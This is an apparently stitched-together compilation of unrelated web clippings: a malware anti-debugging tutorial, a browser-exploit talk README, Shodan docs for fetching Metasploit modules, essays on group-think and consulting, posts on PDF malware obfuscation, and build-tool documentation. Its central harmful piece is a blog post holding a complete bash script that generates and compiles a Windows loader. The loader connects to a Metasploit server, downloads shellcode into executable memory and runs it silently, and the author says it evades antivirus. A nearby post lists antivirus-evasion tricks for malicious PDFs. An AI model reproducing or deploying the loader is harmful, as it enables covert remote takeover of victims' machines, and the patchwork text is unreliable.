  * **Breakpoints** : to set up software breakpoints press F2. To set up hardware breakpoints, right click in code pane, and select Breakpoints->Hardware Breakpoint on Execution. At this moment, set soft breakpoints only.
  * **Jump in Code Pane** : you can easily to any address in the code segment by right clicking in code pane and enter the destination address.

  
  
_**2\. Analysis of Code Beginning at 0x00413BC2**_  
  
As shown in Figure 1, there are four related instructions, _**POP ESI**_
\(located at 0x00413BC1\), _**SUB ESI, 9**_ \(located at 0x00413BC2\), and the
_**POP ESP**_ and _**RETN**_ instructions.  
  
<img src='img/Temp2_2423.jpg' />  
---  
Figure 1. Code Starting at 0x00413BC2  
  
As discussed in Tutorial 5, the RETN instruction \(at 0x00413BC0\) is skipped
by the system when returning from INT 2D \(at 0x00413BBE\). Although it looks
like the POP ESI \(at 0x413BC1\) is skipped, it is actually executed by the
system. This results in that ESI now contains value 0x00413BB9 \(which is
pushed by the instruction CALL 0x00413BB9 at 0x00413BB4\). Then the SUB ESI, 9
instruction at 0x00413BC2 updates the value of ESI to 0x00413BB0. Then the
next LODS instruction load the memory word located at 0x00413BB0 into EAX
\(you can verify that the value of EAX is now 0\). Then it pops the top
element in the stack into EBP, and returns. The purpose of the POP is to
simply enforce the execution to return \(2 layers\) back to 0x413BDD.  
  
Note that if the INT 2D has not caused any byte scission, i.e., the RETN
instruction at 0x00413BD7 will lead the execution to 0x413A40 \(the IRETD
instruction\). IRETD is the interrupt return instruction and cannot be run in
ring3 mode \(thus causing trouble in user level debuggers such as IMM\).
**From this you can see the purpose of the POP EBP instruction at 0x413BC6**.  
  
_**Conclusion:**_ the 4 instructions at 0x00413BC2 is responsible for
directing the execution back to 0x00413BDD. This completes the int 2d anti-
debugging trick.  
  
_**3\. Analysis of Function 0x00413BDD**_  
  
  
<img src='img/Temp2_2419.jpg' />  
---  
Figure 2: Function 0x00413BDD  
  
  
As shown in Figure 2, this function clears registers and calls three
functions: _**0x413A2B \(decoding function\)**_ ,_**0x00401000 \(another INT
2D trick\)**_ , and _**call EBP**_ \(where EBP is _set up by the function
0x00401000 properly_\). We will go through the analysis of these functions one
by one.  
  
  
_**4\. Analysis of Function 0x00413A2B.**_  
  
<img src='img/Temp2_2424.jpg' />  
---  
Figure 3: Function 0x00413A2B  
  
  
Function 0x00413A2B has six instructions and the first five forms a loop
\(from 0x00413A2B to 0x00413A33\), as shown in Figure 3. Consult the Intel
instruction manual first, and read about the LODS and STORS instruction before
proceeding to the analysis in the following.  
  
Essentially the LODS instruction at 0x00413A2B loads a double word \(4 bytes\)
from the memory word pointed by ESI to EAX, and STOS does the inverse. When
the string copy finishes, the LODS \(STOS\) instruction advances the ESI
\(EDI\) instruction by 4. The next two instructions following the LODS
instruction perform a very simple decoding operation, it uses EDX as the
decoding key and applies XOR and SUB operations to decode the data.  
  
The loop ends when the EDI register is equal to the value of EBP. If you
observe the values of EBP and EDI registers in the register pane, you will
find that this decoding function is essentially decoding the region from
_**0x00413A40**_ to _**0x00413BAC**_.  
  
Set a breakpoint at 0x00413A35 \(or F4 to it\), you can complete and step out
of the loop. To view the effects of this decoding function, compare Figure 4
and Figure 5. You can see that _**before decoding, the instruction at
0x00413A40 is an IRET \(interrupt return\) instruction and after the decoding,
it becomes the INT 2D instruction\!**_  
  
<img src='img/Temp2_2420.jpg' />  
---  
Figure 4: Region 0x00413A40 to 0x00413BAC \(before decoding\)  
  
  
  
<img src='img/Temp2_2421.jpg' />  
---  
Figure 5: Region 0x00413A40 to 0x00413BAC \(after decoding\)  
  
  
  
Now let's right click on 0x00413A2B and select "Label" and we can mark the
function as "_**basicEncoding**_ ". \(This is essentially to declare
0x00413A2B as the entry address of function "BasicEncoding"\). Later, whenever
this address shows in the code pane, we will see this mnemonic for this
address. This will facilitate our analysis work greatly.  
  
_**5\. Analysis of Code Beginning at 0x00410000**_  
  
Function 0x00410000 first clears the ESI/EDI growing direction and immediately
calls function 0x00413A18. At 0x00413A18, it again plays the trick of INT 2D.
If the malware analyzer or binary debugger does not handle by the byte
scission properly, the stack contents will not be right and the control flow
will not be right \(see _**Tutorials 3,4,5**_ for more details of INT 2D\).  
  
In summary, when the function returns to 0x00413BED, the EBP should have been
set up property. Its value should be 0x00413A40.  
  
_**6\. Analysis of Code Beginning at 0x00413A40**_  
  
We now delve into the instruction CALL EBP \(0x00413A40\). Figure 6 shows the
function body of 0x00413A40. It begins with an INT 2D instruction \(which is
continued with a RET instruction\). Clearly, in regular/non-debugged setting,
when EAX=1 \(see Tutorial 4\), the byte instruction RET should be skipped and
the execution should continue.  
  
<img src='img/Temp2_2422.jpg' />  
---  
Figure 6: Another Decoding Function  
  
_**Challenge of the Day**_  
  
The major bulk of the function is a multiple level nested loop which decodes
and overwrites \(a part\) of the code segment. Now here comes our challenge of
the day.  
  
\(1\) How do you get out of the loop? \[hint: the IMM debugger has generously
plotted the loop structure \(each loop is denoted using the solid lines on the
left\). Place a breakpoint at the first instruction out of the loop - look at
0x00413B1C\]  
  
\(2\) Which part of the code/stack has been modified? What are the starting
and ending addresses? \[Hint: look at the instructions that modify RAM, e.g.,
the instruction at 0x00413A6F, 0x00413A8D, 0x00413B0E.

# demi6od/Smashing\_The\_Browser · GitHub

**Created:**| _8/24/2014 7:57:21 PM_  
---|---  
**Updated:**| _8/24/2014 7:57:21 PM_  
**Author:**| __  
**Tags:**| _Fuzzer browser_  
  

Skip to content



Sign up Sign in

This repository

  * Explore
  * Features
  * Enterprise
  * Blog

  *  Star  9 
  *  Fork  2 

#   demi6od/**Smashing\_The\_Browser**

  *   *  Code
  *   *  Issues 0
  *   *  Pull Requests 0

  *   *  Pulse
  *   *  Graphs

### **HTTPS** clone URL



You can clone with HTTPS or Subversion.  

 Clone in Desktop   Download ZIP

Smashing The Browser: From Vulnerability Discovery To Exploit

  *  9  commits 
  *  1  branch 
  *  0  releases 
  *  0  contributors 

  1. JavaScript 100%

JavaScript

 

 _branch:_ master

Smashing\_The\_Browser /



u

 latest commit dcb73d532f

<img
src='https://1.gravatar.com/avatar/96d1bd1b65b59142ff83401dc8be3bdc?d=https%3A%2F%2Fassets-
cdn.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png&r=x&s=140'
width='20' height='20' /> demi6od authored

11 days ago

 |  Google Chrome |  u |  11 days ago  
---|---|---|---  
 |  Internet Explorer |  update ms ack |  12 days ago  
 |  StateFuzzer |  update ack |  12 days ago  
 |  .gitattributes |  first commit |  a month ago  
 |  README.md |  u |  11 days ago  
###   README.md

#  Smashing\_The\_Browser

Smashing The Browser: From Vulnerability Discovery To Exploit

Part 1: Browser Fuzzing Technology

This part will first introduce a fuzzer framework \(StateFuzzer\) developed by
myself as well as the fuzzing strategies behind it. Then conclude some
effective fuzzing ideas and related vulnerabilities based on results of the
fuzzer.

Part 2: Advance Browser Exploitation Techniques

This part will first brief introduce the security model of modern browsers as
well as the combat between exploit and mitigation. Then introduce all kinds of
heap management mechanisms and their defects together with some exploit-
friendly data structures of Google Chrome and IE 11. After that, analyze the
advance exploit technologies of these two browsers, including two new
exploitation techniques, one of which is not limited by sandbox \(Demo\).
Finally conclude the dilemmas of Address Space Layout Randomization \(ASLR\),
Data Execution Prevention \(DEP\) and Sandbox.

Part 3: IE 11 0day Exploit Development

After taking one of my IE 11 UAF vulnerabilities from StateFuzzer, I will
share the whole exploit developing experience from the vulnerability trigger
to arbitrary code execution, together with all related technologies and skills
\(Demo\).

At last, I will bring a special, interesting and undisclosed IE 11 0day \(not
affected by isolated heap and protected free\).

  * Status
  * API
  * Training
  * Shop
  * Blog
  * About



  * © 2014 GitHub, Inc.
  * Terms
  * Privacy
  * Security
  * Contact

# Tutorial — Shodan API v0.3 documentation

**Created:**| _12/9/2010 11:09:13 PM_  
---|---  
**Updated:**| _12/9/2010 11:09:25 PM_  
**Author:**| __  
**Tags:**| _pentest Metasploit_  
  

## Searching Metasploit Modules¶

The Metasploit framework is a highly popular and versatile platform for
penetration testing and security development. It offers more than a thousand
modules that contain a variety of functions. Using the Shodan API it’s now
possible to search the archive of Metasploit modules, get information about
them and even download their source code.

The 2 new functions are: `WebAPI.msf.search()` and `WebAPI.msf.download()`.
Lets take a look at the `WebAPI.msf.search()` first:

[code]

    # Search for a Metasploit module
    modules = api.msf.search('microsoft')
    
    # Print basic information about the module
    print 'Modules found: %s' % modules['total']
    for module in results['matches']:
            print '%s: %s' % (module['type'], module['name'])
    
    
[/code]

The information contained in the module hash is identical to what you find in
the Metasploit documentation. It contains everything from the module
description, type, rank, references and more. It’s a long list, I suggest
printing out the entire dictionary to see what’s in it. This is an alternate
for loop that does that, but it’s not as nicely formated as the version above.

[code]

    for module in results['matches']:
            print module
    
    
[/code]

Once you’ve found the module you were looking for, use the
`WebAPI.msf.download()` function to download the actual module code and see
what it looks like:

[code]

    # Download the file
    file = api.msf.download(module['fullname'])
    
    # Show the contents
    print 'Filename: %s' % file['filename']
    print 'Content-type: %s' % file['content-type']
    print file['data']
    
    
[/code]

The only argument you need to pass the function is the fullname of the module.
I hope this has given you some ideas on integrating Metasploit module
information in your program.

# Group-think: what it is and how to avoid it

**Created:**| _5/28/2021 6:56:03 AM_  
---|---  
**Updated:**| _5/28/2021 6:56:03 AM_  
**Author:**| __  
**Tags:**| __  
  

  

Former government adviser Dominic Cummings has made waves by suggesting the UK
government’s response to the COVID-19 crisis was “a classic historic example
of group-think”.

He said the more people criticised the government’s plan, the more those on
the inside said others did not understand. He added that, had the plans been
open to scrutiny earlier, “we would have figured out at least six weeks
earlier that there was an alternative plan”.

Although we can’t know for sure the truth of this criticism, it raises an
important question about the dynamics of decision-making in groups. What
actually is group-think and what does scientific research tells us about how
to avoid it?

Group-think is a popular explanation for how groups of knowledgeable people
can make flawed decisions. The essence of group-think is that groups create
psychological pressure on individuals to conform to the views of leaders and
other members.

##### Expertise is crucial. It's why our articles are written by academics

Famous examples of group-think include the decision of the US to invade Cuba
in 1961 and Coca-Cola’s decision to launch “New Coke” in 1985. In these and
other famous examples, groups failed to make the right choice even when they
had all the information they needed right there in the room. Members failed to
share their dissenting opinions and information that could have avoided
embarrassing or tragic decisions.

## What causes group-think

How can smart people get together and come to seemingly inexplicable
conclusions? There are three main reasons groups create pressure that leads to
flawed decisions.

First, all humans want to feel a sense of belonging with others – our brains
are wired to find our tribe, the people with whom we belong. In any group
situation, we want to feel accepted by other members and seek approval,
consciously and unconsciously. One way to gain acceptance and approval is to
find common ground with others. But, when all members do this, it has the
effect of biasing group discussion toward areas of similarity and agreement,
crowding out potential differences and disagreement.

* * *
_**Read more:To what extent are we ruled by unconscious forces? ** _

* * *
For instance, if a member of a group says they like a particular TV show,
other members who also like it are most likely to speak. Those who haven’t
seen it or dislike it are more likely to stay silent. That isn’t to say
disagreement never happens, just that it’s less common in group discussions
than agreement. When group discussions follow these dynamics over time –
members expressing more agreement than disagreement – those with dissenting
opinions begin to believe their views are discordant with the majority. This
encourages them even more to withhold information and views that they fear
\(even subtly\) will be met with disapproval from other members.

<img src='img/file-20210527-20-13n5413.jpg' width='600' height='399' />

Cummings has said the UK’s response to COVID-19 was a classic example of
group-think. Maggie Sully / Alamy Stock Photo

.

Second, as the old adage goes, “if you want to get along, go along”. Although
disagreement about the best course of action is healthy for groups – and,
indeed, is the whole point of groups making decisions – healthy disagreement
often spills over into conflict that gets personal and hurts others feelings.
The risk of this, however small, leads those who disagree to hold their
tongues too often.

These pressures are even stronger when high-status group members – such as
formal leaders or those respected by others – express their opinions. The
subtle, unspoken forces that make it feel risky to speak up and disagree with
other members are extremely difficult to overcome when we know we would be
putting ourselves at odds with a leader.

Third, we subtly adjust our preferences to come into concordance with what we
perceive as the majority view. In other words, when we don’t have a clear view
of our own opinion, we simply adopt other members’ – often, without even
knowing it. Once we adopt that preference, it becomes a lens for the
information we receive. We remember information consistent with our own
preferences, but tend to forget information that is inconsistent with them.
So, a member revealing a preference invisibly creates a self-reinforcing cycle
that perpetuates agreement.

## How can groups avoid group-think?

The essential ingredient when trying to avoid group-think is to focus first on
options and information, and to hold off preferences and advocacy for as long
as possible. After determining their objectives, groups should consider as
many options as possible. All members should be asked for all relevant
information about all of these options – even if the information doesn’t
favour options other members seem to prefer. Only after a thorough, systematic
search for information should members begin to discuss their preferences or
advocate for one option over another.

Leaders can play a critical role in avoiding group-think. Research has shown
leaders who direct the decision-making process, but don’t share their own
preferences or advocate for particular options, lead groups to avoid group-
think and make better decisions. Leaders that advocate for particular choices,
especially early on, tend to lead their groups astray and strengthen the
forces that lead to group-think.

In avoiding group-think, leaders should play the role of a detective, asking
questions and collecting all the facts. Leading by trying to win a debate or
litigate a court case leaves the group far more open to group-think.

Regardless of how the government made decisions in the past, they would be
well-advised to make sure all decision-making bodies follow this advice. Even
the smartest, best-intentioned groups are vulnerable to the basic psychology
of group-think.

# Customizing custom Meterpreter loader | Astrobaby's random thoughts
**Created:**| _10/18/2013 10:11:22 AM_  
---|---  
**Updated:**| _10/18/2013 10:11:22 AM_  
**Author:**| __  
**Tags:**| __  
  

# Customizing custom Meterpreter loader****

This sounds crazy, but I have thought of improving a little an already well
made code for meterpreter-loader for Windows targets**.** Based on the work
from Raphael Mudge I have decided to create a little C source code generator
that would include hardcoded IP address and port number for our Metasploit
server**.** While the original concept is very good, some automation would be
nice**.** The original article is here :
blog.strategiccyber.com/2012/09/13/a-loader-for-metasploits-meterpreter/

The original source code on Github is here : github.com/rsmudge/metasploit-
loader

My modifications are simple, I have added a hardcoded unsigned char variables
that get placed into the source code, so that when the final binary gets
executed it silently connects to the Metasploit server and loads your favorite
windows reverse\_tcp payload**.**

Lets get customized **\!**

<img src='img/Temp2_1736.jpg' alt='customizing-precursor' />

Here is the code, you can place the shellscript anywhere, just make sure you
have mingw installed on your linuxbox**.**

[code]

    #**!** /bin/bash
    clear
    echo "****************************************************************"
    echo "    Automatic C source code generator - FOR METASPLOIT          "
    echo "           Based on rsmudge metasploit-loader                   "
    echo "****************************************************************"  
    echo -en 'Metasploit server IP : ' 
    read ip
    echo -en 'Metasploit port number : ' 
    read port 
    
    echo '#include <stdio**.** h>'> temp**.** c 
    echo '#include <stdlib.h>' >> temp.c 
    echo '#include <windows.h>' >> temp**.** c 
    echo '#include <winsock2.h>' >> temp**.** c 
    echo -n 'unsigned char server[]="' >> temp**.** c 
    echo -n $ip >> temp.c 
    echo -n '";' >> temp.c 
    echo '' >> temp**.** c 
    echo -n 'unsigned char serverp[]="' >> temp**.** c 
    echo -n $port >> temp**.** c 
    echo -n '";' >> temp.c 
    echo '' >> temp**.** c 
    echo 'void winsock_init() {' >> temp.c 
    echo '    WSADATA    wsaData;' >> temp**.** c 
    echo '    WORD    wVersionRequested;' >> temp**.** c 
    echo '    wVersionRequested = MAKEWORD(2, 2);'>> temp**.** c 
    echo '    if (WSAStartup(wVersionRequested, &wsaData) < 0) {' >> temp**.** c 
    echo '         printf("ws2_32.dll is out of date**.** \n"); '>> temp.c 
    echo '         WSACleanup(); '>> temp**.** c 
    echo '        exit(1);'>> temp.c 
    echo '    }' >> temp**.** c 
    echo ' }' >> temp.c 
    echo ' void punt(SOCKET my_socket, char * error) {' >> temp**.** c 
    echo '    printf("Bad things: %s\n", error);'>> temp**.** c 
    echo '    closesocket(my_socket);'>> temp.c 
    echo '    WSACleanup();'>> temp.c 
    echo '    exit(1);' >> temp**.** c 
    echo ' }' >> temp.c 
    echo ' int recv_all(SOCKET my_socket, void * buffer, int len) {' >> temp**.** c 
    echo '    int    tret   = 0;'>> temp.c 
    echo '    int    nret   = 0;'>>temp**.** c 
    echo '    void * startb = buffer;'>> temp.c 
    echo '    while (tret < len) {'>>temp**.** c 
    echo '        nret = recv(my_socket, (char *)startb, len - tret, 0);'>> temp**.** c 
    echo '        startb += nret;'>> temp.c 
    echo '        tret   += nret;'>>temp.c 
    echo '         if (nret == SOCKET_ERROR)'>> temp**.** c 
    echo '            punt(my_socket, "Could not receive data");'>> temp**.** c 
    echo '    }'>>temp**.** c 
    echo '    return tret;'>> temp.c 
    echo '}' >> temp**.** c  
    echo 'SOCKET wsconnect(char * targetip, int port) {'>> temp**.** c 
    echo '    struct hostent *        target;' >> temp**.** c 
    echo '    struct sockaddr_in     sock;' >> temp**.** c
    echo '    SOCKET             my_socket;'>>temp**.** c 
    echo '    my_socket = socket(AF_INET, SOCK_STREAM, 0);'>> temp**.** c 
    echo '     if (my_socket == INVALID_SOCKET)'>> temp**.** c 
    echo '        punt(my_socket, ".");'>>temp**.** c 
    echo '    target = gethostbyname(targetip);'>>temp**.** c 
    echo '    if (target == NULL)'>>temp**.** c 
    echo '        punt(my_socket, "..");'>>temp**.** c 
    echo '    memcpy(&sock.sin_addr**.** s_addr, target->h_addr, target->h_length);'>>temp**.** c 
    echo '    sock.sin_family = AF_INET;'>> temp**.** c 
    echo '    sock.sin_port = htons(port);'>>temp**.** c 
    echo '    if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )'>>temp**.** c 
    echo '         punt(my_socket, "...");'>>temp**.** c  
    echo '    return my_socket;'>>temp.c 
    echo '}' >> temp**.** c 
    echo 'int main(int argc, char * argv[]) {' >> temp**.** c 
    echo '  FreeConsole();'>>temp**.** c 
    echo '    ULONG32 size;'>>temp.c 
    echo '    char * buffer;'>>temp**.** c 
    echo '    void (*function)();'>>temp.c 
    echo '    winsock_init();'>> temp**.** c 
    echo '    SOCKET my_socket = wsconnect(server, atoi(serverp));'>>temp**.** c 
    echo '    int count = recv(my_socket, (char *)&size, 4, 0);'>>temp**.** c 
    echo '    if (count != 4 || size <= 0)'>>temp**.** c 
    echo '        punt(my_socket, "read a strange or incomplete length value\n");'>>temp**.** c 
    echo '    buffer = VirtualAlloc(0, size + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);'>>temp**.** c 
    echo '    if (buffer == NULL)'>>temp.c 
    echo '        punt(my_socket, "could not allocate buffer\n");'>>temp**.** c 
    echo '    buffer[0] = 0xBF;'>>temp.c 
    echo '    memcpy(buffer + 1, &my_socket, 4);'>>temp**.** c 
    echo '    count = recv_all(my_socket, buffer + 5, size);'>>temp**.** c 
    echo '    function = (void (*)())buffer;'>>temp**.** c 
    echo '    function();'>>temp.c 
    echo '    return 0;'>>temp**.** c 
    echo '}' >> temp.c 
    echo 'Compiling binary ..' 
    i586-mingw32msvc-gcc  temp**.** c -o payload.exe -lws2_32
    ls -la payload.exe 
    
[/code]

You will also need to load your listener with your favorite reverse TCP
payload**.** So far I have tested this on Win7 32bit, Win7 64bit and Win8
64bit, it bypasses AVs fine**.**

Enjoy…

About these ads

****

# Good Consultants vs Bad Consultants - Jacques Mattheij

**Created:**| _11/11/2014 1:21:52 PM_  
---|---  
**Updated:**| _11/11/2014 1:21:52 PM_  
**Author:**| __  
**Tags:**| __  
  

# Good Consultants vs Bad Consultants

Nov 8, 2014

Bad consultants make money _off_ their customers, good consultants make money
_for_ their customers. That’s it. That’s the whole trick.

If you make money for your customers you can basically write your own ticket
\(within reason, but reason translates into ‘more than you can spend
reasonably’\). Bad consultants typically enter a job at some hourly rate, pull
in their buddies \(also at hourly rates\), start ordering hardware with kick-
backs \(unknown to the customer\) and leave right around delivery time \(or
are kicked out\) because what they deliver is either not cost effective or
simply does not work. And then usually someone more experienced gets called in
to fix the mess.

This is bad for everybody in the consultancy business. It gives us _all_ a bad
name and it makes it look as if consultants are vampires that will suck their
customers dry until there is no life left in them and then they move on to the
next victim. But that’s really not what consultancy is all about, that’s a
separate brach of consultancy called ‘scamsultancy’. I’ve seen enough of these
cats in operation to know that it must be a lucrative business but I
personally can’t stand it. Real consultants _make money for their customers_.

You can stop reading here if you don’t feel the above addresses you, but on
the off chance that it does, keep reading:

If you don’t make money for your customer but you make money _off_ your
customer then you’re doing it totally, completely and utterly wrong. Your
model is flawed, your reputation will suffer and in the end both you _and_
your customer will be behind in the game. I’ve seen companies wrecked by this
attitude and it is very sad whenever people lose their jobs because some joker
spent the budget on unnecessary hardware, on losing IT strategies, on giving
advice that cost the company money \(directly or indirectly\) or that derailed
the company in such a way that their competitors could take away their
customers or their entire market. Please stop doing this, for the sake of your
employers, their employees and shareholders and ultimately yourself.

It is all a matter of speed. Making money off a customer without giving much
value \(or negative value\) in return can seem like a good game to be in for
so called IT specialists \(or growth hackers\) or any one of a hundred
different names these people go by. It’s a huge temptation. Clueless customer,
nearly unlimited budget, what could possibly go wrong?

But that’s short term thinking, you’ll make some money inititally and then:

  * you may end up getting sued
  * you may end up getting charged for fraud \(if you take money from suppliers of hardware that you ordered that was not needed for the job, in general, avoid that situation entirely, _never_ take money \(‘kickbacks’\) from suppliers when working in a consultancy role, that’s _not_ where you should be making your money, you should be trying to _save_ your customer money, which is the same as making money for them\).
  * your reputation will be in the toilet after a few of these jobs \(word gets around and the IT world is small enough that this will eventually result in you not being able to get another job\)
  * your customers may go bankrupt, which hurts employees and shareholders \(and customers\!\) of the companies you pluck
  * someone will end up having to clean your mess
  * you will \(in the end\) make much less money for yourself

Of course the company _also_ has a role in all this, they hired you without
doing due-diligence on whether or not you are capable and have a good
reputation. But if you start seeing your customers as partners rather than as
victims then you will be able to make _much more money_ in the longer term. So
if money is your motivation then do yourself a favor and align your customers
interests with your own. Make them money and save them money, you’ll be
happier, your reputation will steadily climb and you’ll be doing better
financially.

Once you get on that train the problem becomes to not adjust your lifestyle
too much and to realize that one of the reasons why you can charge that much
is also because you will leave when the job is done. So no job security for
you, just your skills and reputation, both of which you’ll have to protect
zealously. Keeping your skills up can be hard work all by itself \(and that’s
not typically billable time either\), your reputation is entirely up to you.
The temptation to make money _off_ your customer is the biggest one for screw-
ups as far as I can see.

And when all that is done there is taxes and savings. So it’s not as if you
get to save a million or more every year in most countries but if you’re smart
about it and don’t waste your money on stuff you don’t need and a lifestyle
then you’re going to look pretty good in a very few years of reasonably hard
work \(in so far as anything involving just a keyboard, a screen and your head
is ‘hard work’\).

If you read this far you should probably follow me on twitter: Follow
@jmattheij

Posted by Jacques Mattheij Nov 8, 2014 business, consultancy, ethics

Tweet

« If Growth By Itself Was Good Then Getting Cancer Would be Good News

# S21sec Security Blog: Obfuscation and \(non-\)detection of malicious PDF
files

**Created:**| _5/13/2011 11:32:47 AM_  
---|---  
**Updated:**| _5/13/2011 11:32:47 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis Obfuscation_  
  

##

###  Obfuscation and \(non-\)detection of malicious PDF files

More than two months ago I talked at Rooted CON \(Madrid\) about some
techniques to obfuscate and hide malicious PDF files. I gave the same speech
at CARO 2011 \(Prague\) last Friday with updated slides and a demo of peepdf.  
  
The idea is that it's possible to use some malformations in the documents,
like those commented by Julia Wolf, and the PDF specification itself in order
to keep the files hidden from Antivirus engines and parsers. Bad guys can
effectively use it to create an undetectable exploit and use it as an
attacking vector. Some of the techniques are the following:  
  

  * Using the /Names and /AcroForm elements of the Catalog object to execute code when the document is opened, instead of the /OpenAction element.

  * If the malicious content is stored in a string object it's possible to hide it thanks to the octal codification.

  * However, if the content is stored in a stream object some unknown filters can be applied, like /JBIG2Decode or /DCTDecode, avoiding the most used, like /FlateDecode and /ASCIIHexDecode. Avast researchers found recently that this is something that cyberdelinquents are already using in the wild.

  * In the case of /FlateDecode and /LZWDecode filters it's possible to define some parameters in order to make the analysis more difficult.

  * Split up the malicious code in several parts and store them in different locations of the document. In the case of Javascript code it's possible to store them in the /Names element of the Catalog. Also some specific functions can be used to retrieve some elements of the document, like getAnnots, getPageNthWord, etc.

  * Avoid the endobj tag at the final of the objects to cheat the parsers.

  * Put null bytes in the header of the document.

  * Compressing the malicious objects in the so-called object streams to add an additional obfuscation level.

  * Encrypt the document with the “default password”.

  * Embed the malicious file in a legit one. It's possible to open the malicious file automatically when the legit document is opened.

  
In the demo I performed last Friday I modified a detected malicious PDF file
\(34/43\) to decrease its detection rate, being detected only by one Antivirus
engine after the modifications. The results of the tests performed in February
were even worse, being totally undetectable. Although bad guys are not using
all these techniques yet, they will do, therefore it's important to take them
into account in the development process of analysis tools and Antivirus
products.  
  
The tool I've developed for the analysis of malicious PDF files, peepdf, was
released last Friday too, and it supports most of the commented techniques, so
it's a good option when a PDF file must be analysed. It's the first version of
the tool, so all comments and potential bugs are welcomed\! ;\)

# Active Filtering Detection | Pure Hacking
**Created:**| _5/29/2011 8:50:27 PM_  
---|---  
**Updated:**| _5/29/2011 8:50:34 PM_  
**Author:**| __  
**Tags:**| _web-app-sec Fingerprinting_  
  

# Active Filtering Detection

## What is AFD?

Active Filter Detection is one step, according to the Open Source Security
Testing Methodology Manual, that security auditors should perform to identify
the presence of Intrusion Prevention Systems and other technologies that would
directly impact the quality of a security assessment.

## What is the purpose of AFD?

Security assessment works to add value to the security organisation. While
testing security controls is fundamental to that value, the deployment of
over-arching security controls such as IPS can damage the timeliness and
quality of the security assessment process. This is due to the IPS
technologies performing their proper function - preventing unwanted traffic
from being delivered to production infrastructure.

AFD allows the security assessor to evaluate a target for potential
interferrence prior to engaging the assessment process proper; this minimises
time wasted by the assessor and the risk of false positives or negatives in
the assessment results.

## Why did Pure Hacking publish AFD?

AFD is only valuable as a professional security assessment tool, and primarily
in its function as a step within the OSSTMM methodology. As an OSSTMM auditor
Pure Hacking wanted to contribute to the OSSTMM community, and tools such as
this one seem to be a good way to make that contribution.

## How do Pure Hacking's clients benefit from projects like this one?

Pure Hacking believes in skills transfer or transfer of knowledge. The tools
used to perform penetration testing engagements are divulged to our clients.
Working on AFD is in line with Pure Hacking's values of assisting clients to
assist themselves. By sharing information throughout and after engagements,
Pure Hacking's clients not only understand their risks, but they can begin to
manage and mitigate them.

Pure Hacking's risk mitigation advice is about return on investment with your
current spend. AFD embodies this fundamental philosophy.

# MAKAO, re\(verse\)-engineering build systems

**Created:**| _6/21/2011 9:11:18 AM_  
---|---  
**Updated:**| _6/21/2011 9:11:18 AM_  
**Author:**| __  
**Tags:**| _software build_  
  

  * Home
  * Publications
  * MAKAO
  * R3V3RS3
  *   * Aspicere
  * MUD 2010
  *   * MISS 2011
  * 

### Recent News

  *   * \[November 3, 2010\] MAKAO 1.4 released, which adds support for GNU Make 3.82 and auto-detection of the version of GNU Make used. Kudos to Reinier Post for his 3.82 patch\!

  * \[October 26, 2010\] MAKAO 1.3 released, which adds support for Windows \(using Cygwin 1.7.x\).

  * \[June 22, 2010\] MAKAO 1.2 released, which adds some small fixes and enhancements.

  * \[August 7, 2009\] Website published\!

### Screenshots

<img src='img/parrot-0.4.14-annotated.png' width='450' />

<img src='img/ioquake3-annotated.png' width='450' />

<img src='img/linux-2.6.16.18-annotated.png' width='450' />

### Functionality

Making sense of hundreds of Makefiles is very hard. Finding out where to
modify them is even harder. Enter MAKAO, i.e., the "Makefile Architecture
Kernel featuring Aspect Orientation", which uses visualization and some ideas
of Aspect-Orientation Software Development \(AOSD\) to understand and manage
build systems.

MAKAO provides the following features:

  * **visualization** of the build dependency graph
  * **querying** of build targets and dependencies for their build commands and variables
  * **filtering** of the build dependency graph using Prolog rules to reduce clutter or to identify build idioms
  * **verification** of the presence of bad smells in the build dependency graph
  * **re-engineering** of the build dependency graph and build scripts using aspects

MAKAO builds on GUESS \(Graph Exploration System\), which is a flexible and
scriptable graph manipulation framework. It takes the build trace of a GNU
Make or ClearMake build run as input, generates and lays out the build
dependency graph, and then provides the above five features to the user. More
information can be found in the tutorial and publications sections.

We would like to thank Kris De Schutter, Herman Tromp, Matthias Rieger,
Cyrille Artho, Dieter Paeps, Istvan Nagy and Reinier Post for their
contributions and suggestions\!

PS: Apparently, MAKAO \(or Mau-Mau\) is the name of a popular Polish card
game, but we intended the name to be an allusion on both the "Made in
Macao"-statement found on products fabricated in Macao and on GNU Make of
course.

### Requirements

The latest version of MAKAO can be downloaded here. MAKAO is covered by the
Mozilla Public License 1.1 \(MPL 1.1\), and runs on Linux, Max OSX and Windows
\(using Cygwin 1.7.x\).

System requirements:

  * \(On Windows\) Cygwin 1.7.x
  * GNU Make 3.80+ \(on Windows, Cygwin 1.7.x provides a recent version under "Devel" in the installer\) or ClearMake \(preliminary support\)
  * Perl 5.6.x or \(on Windows\) the most recent version provided by Cygwin 1.7.x \(under "Interpreters" in the installer\)
  * GUESS, more in particular this version \(install it under $GUESS\_HOME\)
  * Java 1.5+
  * XML::Writer
  * \(for filtering\) SWI Prolog or \(on Windows\) the most recent version provided by Cygwin 1.7.x \(under "Interpreters" in the installer\)
  * \(for re-engineering\) Getopt::Long
  * \(for re-engineering\) Tie::File

MAKAO has been tested extensively on GNU Make 3.80+, and provides preliminary
support for ClearMake. As long as a build dependency graph can be extracted
from your build tool, MAKAO can be used to re\(verse\)-engineer your build
layer. Example build dependency graphs of ANTLR 2.7.6, Aspicere, CppTest
1.0.2, Gaim 2.0.0beta3, GCC 4.1.1, Inkscape 0.44, Ioquake3, Linux Kernel
Graphing Project and other systems are included in the download\!

### Tutorial

The best documentation of MAKAO is provided by my PhD dissertation, but this
tutorial helps you getting started in no time. First, download MAKAO and
extract it into a directory $MAKAO.

  1. Extraction of Build Dependency Graph
  2. Laying out the Build Dependency Graph
  3. Querying of Build Dependency Graph
  4. Filtering of Build Dependency Graph
  5. Refactoring of Build Dependency Graph

### 1\. Extraction of Build Dependency Graph

To extract the build dependency graph of a GNU Make build system, you need to
invoke `make` using its debugging flags: `-w --debug=v --debug=m -p`. To make
this easier, we supply a simple wrapper script called _makewrapper.sh_ :
`$MAKAO/parsing/bin/makewrapper.sh all 2&> somefile.txt`. For details on how
to obtain the trace file with ClearMake, contact Matthias Rieger.

Make sure that every invocation of `make` inside the Makefiles uses the
debugging flags \(or the wrapper script\), for example by overriding the
variable used to refer to the `make` command or by replacing all invocations
of `make`. The _makewrapper.sh_ wrapper by default overrides the `MAKE`
variable.

Once a trace of a build run has been obtained, MAKAO extracts the build
